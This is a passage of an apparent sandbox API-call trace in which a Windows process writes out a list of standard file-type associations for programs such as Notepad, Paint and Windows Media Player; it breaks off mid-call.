[0101.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="webpnpFile=%SystemRoot%\\system32\\wpnpinst.exe %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webpnpFile=%SystemRoot%\\system32\\wpnpinst.exe %1\r\n", lpUsedDefaultChar=0x0) returned 51 [0101.959] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x32, lpOverlapped=0x0) returned 1 [0101.959] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Windows.CompositeFont=\"%WinDir%\\System32\\notepad.exe\" \"%1\"\r\n") returned 60 [0101.959] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.959] GetFileType (hFile=0x5c) returned 0x3 [0101.959] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Windows.CompositeFont=\"%WinDir%\\System32\\notepad.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows.CompositeFont=\"%WinDir%\\System32\\notepad.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 61 [0101.959] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3c, lpOverlapped=0x0) returned 1 [0101.960] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Windows.DVD.Maker=\"%ProgramFiles%\\DVD Maker\\DVDMaker.exe\" \"%1\"\r\n") returned 64 [0101.960] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.960] GetFileType (hFile=0x5c) returned 0x3 [0101.960] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Windows.DVD.Maker=\"%ProgramFiles%\\DVD Maker\\DVDMaker.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows.DVD.Maker=\"%ProgramFiles%\\DVD Maker\\DVDMaker.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 65 [0101.960] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x40, lpOverlapped=0x0) returned 1 [0101.960] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Windows.gadget=%ProgramFiles%\\Windows Sidebar\\Sidebar.exe\r\n") returned 59 [0101.960] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.960] GetFileType (hFile=0x5c) returned 0x3 [0101.960] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Windows.gadget=%ProgramFiles%\\Windows Sidebar\\Sidebar.exe\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows.gadget=%ProgramFiles%\\Windows Sidebar\\Sidebar.exe\r\n", lpUsedDefaultChar=0x0) returned 60 [0101.960] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3b, lpOverlapped=0x0) returned 1 [0101.961] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Windows.XamlDocument=\"C:\\Windows\\System32\\PresentationHost.exe\" \"%1\" %*\r\n") returned 73 [0101.961] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.961] GetFileType (hFile=0x5c) returned 0x3 [0101.961] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Windows.XamlDocument=\"C:\\Windows\\System32\\PresentationHost.exe\" \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows.XamlDocument=\"C:\\Windows\\System32\\PresentationHost.exe\" \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 74 [0101.961] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x49, lpOverlapped=0x0) returned 1 [0101.961] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Windows.Xbap=\"C:\\Windows\\System32\\PresentationHost.exe\" \"%1\" %*\r\n") returned 65 [0101.961] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.961] GetFileType (hFile=0x5c) returned 0x3 [0101.961] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Windows.Xbap=\"C:\\Windows\\System32\\PresentationHost.exe\" \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows.Xbap=\"C:\\Windows\\System32\\PresentationHost.exe\" \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 66 [0101.961] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x41, lpOverlapped=0x0) returned 1 [0101.962] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Windows.XPSReachViewer=%SystemRoot%\\System32\\xpsrchvw.exe \"%1\" %*\r\n") returned 67 [0101.962] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.962] GetFileType (hFile=0x5c) returned 0x3 [0101.962] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Windows.XPSReachViewer=%SystemRoot%\\System32\\xpsrchvw.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows.XPSReachViewer=%SystemRoot%\\System32\\xpsrchvw.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 68 [0101.962] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x43, lpOverlapped=0x0) returned 1 [0101.962] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="windowsmediacenterapp=C:\\Windows\\ehome\\MediaCenterWebLauncher.exe -app \"%1\"\r\n") returned 77 [0101.962] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.962] GetFileType (hFile=0x5c) returned 0x3 [0101.962] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="windowsmediacenterapp=C:\\Windows\\ehome\\MediaCenterWebLauncher.exe -app \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsmediacenterapp=C:\\Windows\\ehome\\MediaCenterWebLauncher.exe -app \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 78 [0101.962] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4d, lpOverlapped=0x0) returned 1 [0101.963] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="windowsmediacenterssl=C:\\Windows\\ehome\\MediaCenterWebLauncher.exe -ssl \"%1\"\r\n") returned 77 [0101.963] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.963] GetFileType (hFile=0x5c) returned 0x3 [0101.963] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="windowsmediacenterssl=C:\\Windows\\ehome\\MediaCenterWebLauncher.exe -ssl \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsmediacenterssl=C:\\Windows\\ehome\\MediaCenterWebLauncher.exe -ssl \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 78 [0101.963] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4d, lpOverlapped=0x0) returned 1 [0101.963] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="windowsmediacenterweb=C:\\Windows\\ehome\\MediaCenterWebLauncher.exe -web \"%1\"\r\n") returned 77 [0101.963] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.963] GetFileType (hFile=0x5c) returned 0x3 [0101.963] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="windowsmediacenterweb=C:\\Windows\\ehome\\MediaCenterWebLauncher.exe -web \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsmediacenterweb=C:\\Windows\\ehome\\MediaCenterWebLauncher.exe -web \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 78 [0101.963] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4d, lpOverlapped=0x0) returned 1 [0101.964] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="wmffile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n") returned 50 [0101.964] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.964] GetFileType (hFile=0x5c) returned 0x3 [0101.964] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wmffile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmffile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 51 [0101.964] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x32, lpOverlapped=0x0) returned 1 [0101.964] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP.DVR-MSFile=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 83 [0101.965] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.965] GetFileType (hFile=0x5c) returned 0x3 [0101.965] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP.DVR-MSFile=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP.DVR-MSFile=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0101.965] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0101.965] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP.WTVFile=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 80 [0101.965] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.965] GetFileType (hFile=0x5c) returned 0x3 [0101.965] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP.WTVFile=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP.WTVFile=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 81 [0101.965] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x50, lpOverlapped=0x0) returned 1 [0101.965] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.3G2=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n") returned 100 [0101.965] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.965] GetFileType (hFile=0x5c) returned 0x3 [0101.966] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.3G2=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.3G2=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.966] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.966] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.3GP=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n") returned 100 [0101.966] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.966] GetFileType (hFile=0x5c) returned 0x3 [0101.966] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.3GP=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.3GP=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.966] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.966] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.ADTS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n") returned 101 [0101.966] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.966] GetFileType (hFile=0x5c) returned 0x3 [0101.966] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.ADTS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.ADTS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 102 [0101.966] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x65, lpOverlapped=0x0) returned 1 [0101.967] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.AIFF=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 89 [0101.967] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.967] GetFileType (hFile=0x5c) returned 0x3 [0101.967] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.AIFF=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.AIFF=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 90 [0101.967] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x59, lpOverlapped=0x0) returned 1 [0101.967] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.ASF=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:7 /Open \"%L\"\r\n") returned 100 [0101.967] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.967] GetFileType (hFile=0x5c) returned 0x3 [0101.967] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.ASF=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:7 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.ASF=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:7 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.967] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.968] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.ASX=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 88 [0101.968] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.968] GetFileType (hFile=0x5c) returned 0x3 [0101.968] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.ASX=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.ASX=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 89 [0101.968] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x58, lpOverlapped=0x0) returned 1 [0101.968] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.AU=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 87 [0101.968] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.968] GetFileType (hFile=0x5c) returned 0x3 [0101.968] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.AU=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.AU=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 88 [0101.968] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x57, lpOverlapped=0x0) returned 1 [0101.969] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.AVI=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:8 /Open \"%L\"\r\n") returned 100 [0101.969] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.969] GetFileType (hFile=0x5c) returned 0x3 [0101.969] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.AVI=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:8 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.AVI=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:8 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.969] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.969] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.CDA=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 88 [0101.969] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.969] GetFileType (hFile=0x5c) returned 0x3 [0101.969] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.CDA=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.CDA=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 89 [0101.969] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x58, lpOverlapped=0x0) returned 1 [0101.970] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.M2TS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:12 /Open \"%L\"\r\n") returned 102 [0101.970] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.970] GetFileType (hFile=0x5c) returned 0x3 [0101.970] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.M2TS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:12 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.M2TS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:12 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 103 [0101.970] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x66, lpOverlapped=0x0) returned 1 [0101.970] _vsnwprintf (in: 